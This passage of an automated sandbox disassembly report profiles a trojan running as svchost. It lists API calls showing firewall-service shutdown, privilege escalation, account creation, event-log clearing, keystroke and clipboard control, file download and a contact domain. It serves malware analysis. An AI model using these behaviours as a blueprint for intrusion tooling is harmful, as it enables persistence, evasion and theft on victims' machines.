wsprintfA.USER32 ref: 0040E5A4

Part of subcall function 0040E280: wsprintfA.USER32 ref: 0040E304
Part of subcall function 0040E280: lstrlenA.KERNEL32(?), ref: 0040E330
Part of subcall function 0040E280: lstrlenA.KERNEL32(?), ref: 0040E357

getsockname.WS2_32 ref: 0040E5EE

Part of subcall function 0040E050: RegOpenKeyA.ADVAPI32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000004), ref: 0040E06F
Part of subcall function 0040E050: RegQueryValueExA.ADVAPI32(?,~MHz,00000000,?,?,?,?,www.362-com.com,?,?), ref: 0040E090
Part of subcall function 0040E050: RegCloseKey.ADVAPI32(?,?,www.362-com.com,?,?), ref: 0040E09B

GetSystemInfo.KERNEL32(?), ref: 0040E610
wsprintfA.USER32 ref: 0040E628
GlobalMemoryStatus.KERNEL32(?), ref: 0040E63A
lstrlenA.KERNEL32(?,00000000), ref: 0040E681

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

Part of subcall function 00401B80: _ftol.MSVCRT ref: 00401BBB
Part of subcall function 00401B80: ??2@YAPAXI@Z.MSVCRT ref: 00401BC5

Strings

www.362-com.com, xrefs: 0040E5E5
f, xrefs: 0040E42F
SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 0040E699
ConnectGroup, xrefs: 0040E694
, xrefs: 0040E631
d, xrefs: 0040E425

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: wsprintf$lstrlen$AddressLibraryOpenProc$??2@CloseCountCurrentFreeGlobalHandleInfoLoadMemoryModuleProcessQueryStatusSystemTickValueVersion_ftolgethostnamegetsockname
String ID: $ConnectGroup$SYSTEM\CurrentControlSet\Services\MsMpEng$d$f$www.362-com.com
API String ID: 2119562866-847635532
Opcode ID: 66c934c4229e393b2b28c790316c8421fd7a06271d460e0c069e57be10a477d6
Instruction ID: 87dc481bb0386d9e86a65b6fd8fd1598cb8bbd79ce7fc4d994eae061226ad1ce
Opcode Fuzzy Hash: 66c934c4229e393b2b28c790316c8421fd7a06271d460e0c069e57be10a477d6
Instruction Fuzzy Hash: A5618E7254C380AFD325CB64D885BDBBBF9ABD9300F448D1EF98993241DA749608CB67

Function 00410680 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 186stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

NetUserEnum.NETAPI32(00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 004106CB
wcstombs.MSVCRT ref: 0041070E
NetApiBufferFree.NETAPI32(000000FF,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 0041072B
NetApiBufferFree.NETAPI32(000000FF,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 00410747
LocalAlloc.KERNEL32(00000040,00000400,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 00410768
lstrlenA.KERNEL32(0042663C), ref: 004107D8
lstrlenA.KERNEL32(0042663C), ref: 004107F9
lstrlenA.KERNEL32(?), ref: 0041080C
lstrlenA.KERNEL32(?), ref: 0041082E
lstrlenA.KERNEL32(?), ref: 00410841
lstrlenA.KERNEL32(?), ref: 0041085F
LocalReAlloc.KERNEL32(00000000,00000001,00000042), ref: 00410893

Strings

H@B, xrefs: 004107BB
@@B, xrefs: 00410834, 00410838
SeDebugPrivilege, xrefs: 0041068C
<fB, xrefs: 00410795

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$AllocBufferFreeLocalProcess$CurrentEnumOpenTokenUserwcstombs
String ID: <fB$@@B$H@B$SeDebugPrivilege
API String ID: 230653022-2600903697
Opcode ID: 9f7a17a9b02b1d8071aea80e5be26c10e1057852b90540bc1e88b64a960d228a
Instruction ID: d69f3d418cf2ec43905e1ab60ec8b57ca0232f24a271269c6bf73e1a2c2705a4
Opcode Fuzzy Hash: 9f7a17a9b02b1d8071aea80e5be26c10e1057852b90540bc1e88b64a960d228a
Instruction Fuzzy Hash: 1051C2716043059BC314DF18E8819ABB7E5FBC8704F40492EF59193281DB79A98ACB9A

Function 00407A00 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?,?), ref: 00407A3A
wsprintfA.USER32 ref: 00407A73
FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 00407A85
wsprintfA.USER32 ref: 00407AC4
wsprintfA.USER32 ref: 00407AE7
??2@YAPAXI@Z.MSVCRT ref: 00407B5C
??3@YAXPAX@Z.MSVCRT ref: 00407BC5
FindNextFileA.KERNEL32(?,?), ref: 00407BF4
FindClose.KERNEL32(?), ref: 00407C07

Strings

., xrefs: 00407A9E
%s%s%s, xrefs: 00407AB5
%s%s*.*, xrefs: 00407A6D
QB, xrefs: 00407A5A, 00407A64, 00407AB3

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Findwsprintf$File$??2@??3@CloseFirstNextlstrlen
String ID: %s%s%s$%s%s*.*$.$QB
API String ID: 862180513-181266325
Opcode ID: bbf24ac7bb929e97a0c88c2038b04cc4f46c3cf121a2e2847b6683130e90058e
Instruction ID: 147eac6f0a4f73e03be255e659cd9a4a7c2419ae8192cc2f3231da25ec20d28c
Opcode Fuzzy Hash: bbf24ac7bb929e97a0c88c2038b04cc4f46c3cf121a2e2847b6683130e90058e
Instruction Fuzzy Hash: 5E51C6B154C3409FC324CF24C884AABBBE4BB84704F44492EE59967391DB39FA45CB5B

Function 004075B0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 71fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004075D7
FindFirstFileA.KERNEL32(?,?), ref: 004075E9
wsprintfA.USER32 ref: 00407626
FindNextFileA.KERNEL32(00000000,?), ref: 0040765D
FindClose.KERNEL32(00000000), ref: 00407668
RemoveDirectoryA.KERNEL32(?), ref: 0040766F

Strings

., xrefs: 00407605
%s\*.*, xrefs: 004075CF
%s\%s, xrefs: 00407617

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Find$Filewsprintf$CloseDirectoryFirstNextRemove
String ID: %s\%s$%s\*.*$.
API String ID: 2470771279-1471744235
Opcode ID: 1b28164d196db4b6d0c421f5493e54d7d16e20fba7fc4c3837e1d048c93c9451
Instruction ID: 8f64c511c0e3b7e32d253447456592f1d7db8bff42c9c0282a01fcacba16b235
Opcode Fuzzy Hash: 1b28164d196db4b6d0c421f5493e54d7d16e20fba7fc4c3837e1d048c93c9451
Instruction Fuzzy Hash: 5211A5715483447BD320EB64EC88EFB77ACEBC5325F444C2AF95582181E779A5088BAB

Function 004073E0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00002800), ref: 00407402
wsprintfA.USER32 ref: 0040741F
FindFirstFileA.KERNEL32(?,?), ref: 00407435
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 0040748B
lstrlenA.KERNEL32(?), ref: 0040751A
FindNextFileA.KERNEL32(?,?), ref: 0040756D

Strings

%s\*.*, xrefs: 00407419
h, xrefs: 0040744D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AllocFileFindLocal$FirstNextlstrlenwsprintf
String ID: %s\*.*$h
API String ID: 1497773571-1052742963
Opcode ID: 94cb17a7eb72449b265f46db2b88d448e31306310756f77d5bce1bb18c87201c
Instruction ID: 6f7a6c48c5275befd438f44e03826eebd6c072002ef716116815d1a6e5bf04c0
Opcode Fuzzy Hash: 94cb17a7eb72449b265f46db2b88d448e31306310756f77d5bce1bb18c87201c
Instruction Fuzzy Hash: 16514831A0C3416BC720CF249C8469BBFE5AF95314F048639F995A73C2D33DA909CB9A

Function 00407220 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 130stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32 ref: 00407241
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 00407297
SHGetFileInfoA.SHELL32(?,00000080,?,00000160,00000410), ref: 004072B5
lstrlenA.KERNEL32(?), ref: 004072C9
lstrlenA.KERNEL32(?), ref: 004072D7
GetDiskFreeSpaceExA.KERNEL32(00000001,?,?,00000000), ref: 004072F6
GetDriveTypeA.KERNEL32(?), ref: 0040733D
lstrlenA.KERNEL32(?), ref: 004073A7

Strings

g, xrefs: 00407239

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Drive$DiskFileFreeInfoInformationLogicalSpaceStringsTypeVolume
String ID: g
API String ID: 2496086942-30677878
Opcode ID: 057f1e5ba004e3868dd5932a66ddd08093e27faf1e23514f0f02ef3e828d4c5a
Instruction ID: 41279e4d2db384fb3676b524e6f829b1510f8f690035f18d5f8bad0519275406
Opcode Fuzzy Hash: 057f1e5ba004e3868dd5932a66ddd08093e27faf1e23514f0f02ef3e828d4c5a
Instruction Fuzzy Hash: 5A41D1705483499FD714CF24D840AEFBBE9ABC8304F04892DF98997251D774AA09CBA6

Function 00411A50 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42serviceCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00411A6D
OpenServiceA.ADVAPI32(00000000,sharedaccess,000F01FF), ref: 00411A80
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A8E
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411AA3
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AB0
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AB3

Strings

SeDebugPrivilege, xrefs: 00411A57, 00411AB7
sharedaccess, xrefs: 00411A7A

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseHandleProcess$ControlCurrentManagerQueryStatusToken
String ID: SeDebugPrivilege$sharedaccess
API String ID: 3393504433-1846105483
Opcode ID: f04502da7d8028d1cb4be7cadb57bd900792a8405a86b27f0af1f03eb618dcc5
Instruction ID: 950de9a43030c5cec0478f507f896e1f0173cfa28c8f75c8103c7853c1670cea
Opcode Fuzzy Hash: f04502da7d8028d1cb4be7cadb57bd900792a8405a86b27f0af1f03eb618dcc5
Instruction Fuzzy Hash: 01F0FC35BD0210B7D211A7A4AC4BFEB3E64DF85B55F804026F70C551D1D6A85544C6BA

Function 0040C310 Relevance: 13.7, APIs: 9, Instructions: 163keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00414690: GetCurrentThreadId.KERNEL32 ref: 004146A2
Part of subcall function 00414690: GetThreadDesktop.USER32(00000000), ref: 004146A9
Part of subcall function 00414690: GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 004146D6
Part of subcall function 00414690: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 004146E1
Part of subcall function 00414690: GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 0041470E
Part of subcall function 00414690: lstrcmpiA.KERNEL32(?,?), ref: 0041471D
Part of subcall function 00414690: SetThreadDesktop.USER32(00000000), ref: 00414728
Part of subcall function 00414690: CloseDesktop.USER32(00000000), ref: 00414740
Part of subcall function 00414690: CloseDesktop.USER32(00000000), ref: 00414743

SetCursorPos.USER32(?,?,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C378
WindowFromPoint.USER32(?,?,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C380
SetCapture.USER32(00000000,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C387
MapVirtualKeyA.USER32(?,00000000), ref: 0040C3C6
keybd_event.USER32(?,00000000), ref: 0040C3D0
MapVirtualKeyA.USER32(?,00000000), ref: 0040C3E4
keybd_event.USER32(00000000,00000000), ref: 0040C3EE
mouse_event.USER32(00000008,00000000,00000000,00000000,00000000), ref: 0040C4AA

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Desktop$Thread$CloseInformationObjectUserVirtualkeybd_event$CaptureCurrentCursorFromInputOpenPointWindowlstrcmpimouse_event
String ID:
API String ID: 1258999209-0
Opcode ID: aa74827eff40decddc8649d36552cbf02e5d3938581d94c03264e01da4f77fbb
Instruction ID: 76be14947f23963058b8277b9e1e69e5e8f07419bbf61c055b6028b68a3fd9e6
Opcode Fuzzy Hash: aa74827eff40decddc8649d36552cbf02e5d3938581d94c03264e01da4f77fbb
Instruction Fuzzy Hash: 5A4179313C4714FAF6308B149CDBF6A7665A784F10F308226BB02BE2D5C1F8B841969E

Function 0040C560 Relevance: 13.6, APIs: 9, Instructions: 57clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040C56A
GetClipboardData.USER32(00000001), ref: 0040C576
CloseClipboard.USER32 ref: 0040C586
GlobalSize.KERNEL32(00000000), ref: 0040C595
GlobalLock.KERNEL32(00000000), ref: 0040C59F
??2@YAPAXI@Z.MSVCRT ref: 0040C5A8
GlobalUnlock.KERNEL32(?), ref: 0040C5CF
CloseClipboard.USER32 ref: 0040C5D5
??3@YAXPAX@Z.MSVCRT ref: 0040C5E7

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Clipboard$Global$Close$??2@??3@DataLockOpenSizeUnlock
String ID:
API String ID: 3218637236-0
Opcode ID: 0f2c25f92e48726ef0faa634773479f094718d409eee8859df72face2c81424d
Instruction ID: 64223fe2ebda81e1997180c3e04a13252c62189068daa7172f3e096e88caf4b6
Opcode Fuzzy Hash: 0f2c25f92e48726ef0faa634773479f094718d409eee8859df72face2c81424d
Instruction Fuzzy Hash: C301C475584314AFD700AB34BC896DB36A8FF45715F44C139FC06D2341EA799908CAAA

Function 0040C4F0 Relevance: 12.0, APIs: 8, Instructions: 38clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040C4F2
EmptyClipboard.USER32 ref: 0040C4FE
GlobalAlloc.KERNEL32(00002000,?,?,?,?,?), ref: 0040C50E
GlobalLock.KERNEL32(00000000,?,?,?,?,?), ref: 0040C51C
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?), ref: 0040C539
SetClipboardData.USER32(00000001,00000000), ref: 0040C542
GlobalFree.KERNEL32(00000000), ref: 0040C549
CloseClipboard.USER32 ref: 0040C550

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyFreeLockOpenUnlock
String ID:
API String ID: 453615576-0
Opcode ID: 0c4942b04c88f22831e40b061fb1f7f791252af0c5496766d9d957edc7dad4ad
Instruction ID: c11a50bdf75aa7ca4af55b17e424e40e12b6672a0ffb1c5a7b435e9021a6f8b2
Opcode Fuzzy Hash: 0c4942b04c88f22831e40b061fb1f7f791252af0c5496766d9d957edc7dad4ad
Instruction Fuzzy Hash: D4F036712C0315AFD7046B746CDCBAB7768FB48712B048439FE12D2291CB645804CF69

Function 00410C30 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00410C59
lstrlenA.KERNEL32(00000000), ref: 00410C69
lstrlenA.KERNEL32(00000000), ref: 00410C72

Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBB4
Part of subcall function 0040EB90: ??2@YAPAXI@Z.MSVCRT ref: 0040EBC1
Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBDD

NetUserAdd.NETAPI32(00000000,00000001,?,?), ref: 00410CC4
wcscpy.MSVCRT ref: 00410D08
NetLocalGroupAddMembers.NETAPI32(00000000,00000000,00000001,?,?), ref: 00410D2C
LocalFree.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 00410D57

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$ByteCharLocalMultiWide$??2@FreeGroupMembersUserwcscpy
String ID:
API String ID: 3417899458-0
Opcode ID: 6f1d902b724190357e1c3beeb45652af6753a74cd135c5db3b1ade1efa7d9896
Instruction ID: c39e7755f8aad90701b135733e6f2760f15cafb1abd3cd2df62b73d6285de37f
Opcode Fuzzy Hash: 6f1d902b724190357e1c3beeb45652af6753a74cd135c5db3b1ade1efa7d9896
Instruction Fuzzy Hash: 2C3192716043016BD310EB26CC81AAFBBECEFC5718F44493EF54493282EA79D94987A6

Function 0040D180 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
OpenProcessToken.ADVAPI32(00000000), ref: 0040D191
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 0040D1C2
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1DA
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1E0
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1EF

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: fba53388096f80a00958d455c802d3523f232cfe15d792ac25a1d2890b00dd67
Instruction ID: 8e00f1f031bb106db07a1fc63c7fda331e37dd9b3ae8c73b4a4d929bb2e87527
Opcode Fuzzy Hash: fba53388096f80a00958d455c802d3523f232cfe15d792ac25a1d2890b00dd67
Instruction Fuzzy Hash: 350179B5684300BFE304DFB4DC49F6B77A4BB88701F84C96CF546C6290D675D4088B55

Function 004090B0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000), ref: 004090EC
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 004090F7
CloseEventLog.ADVAPI32(00000000), ref: 004090FA

Strings

0<B, xrefs: 004090DB
System, xrefs: 004090D3
$<B, xrefs: 004090CB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: $<B$0<B$System
API String ID: 1391105993-4247966485
Opcode ID: 5d8b965f399d1fa8556b3a7f7b3f75d04b61032706743535e7913455c4d6073c
Instruction ID: 1bec6e4b38fd688b97b7ae012fa1e8e0ca55df4902cf2e0b2cfe15371f7a55d8
Opcode Fuzzy Hash: 5d8b965f399d1fa8556b3a7f7b3f75d04b61032706743535e7913455c4d6073c
Instruction Fuzzy Hash: F3F096726053229BD310DF49EC4475BFBE4FF88755F804819F550A7251D3B9EA088BEA

Function 00414110 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c6720e921c8754bec2e110daefeb9787367c1f5f8bf318d0fca3f85e158b70f1
Instruction ID: f3fabc225ae7c373bb967f4752ac61ebd966b498e89eebf574b6c9a4d479802f
Opcode Fuzzy Hash: c6720e921c8754bec2e110daefeb9787367c1f5f8bf318d0fca3f85e158b70f1
Instruction Fuzzy Hash: 1C01D471684310BBD304DBB4DC8AFEB77A8BF88B00F41C92DF98596280D774D8448B99

Function 00407DB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000021,?,00000021,00000000,00000001), ref: 00407DEF
FindClose.KERNEL32(00000000), ref: 00407E69
CreateFileA.KERNEL32(00000021,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00407E81
CloseHandle.KERNEL32(00000000), ref: 00407EAB

Strings

p, xrefs: 00407DFE

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseFileFind$CreateFirstHandle
String ID: p
API String ID: 3283578348-2181537457
Opcode ID: 607758609670396dd634f7705afdae27c9e80ae38b0e78de45627f583aa67a4a
Instruction ID: 4a6c7374471a26af22c21de7c97ee6699c2cdcf48220bdf43b3e552037d6e40a
Opcode Fuzzy Hash: 607758609670396dd634f7705afdae27c9e80ae38b0e78de45627f583aa67a4a
Instruction Fuzzy Hash: 0631C171C4C3119BD7249F28DC847AB76A4AF84360F14857EF859AB3C0C638AC058B8B

Function 00408F10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75processfilestringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408F30
strrchr.MSVCRT ref: 00408F4C
URLDownloadToFileA.URLMON(00000000,00000000,00000001,00000000,00000000), ref: 00408F61

Part of subcall function 00408EE0: GetFileAttributesA.KERNEL32(?), ref: 00408EE5
Part of subcall function 00408EE0: GetLastError.KERNEL32 ref: 00408EF0

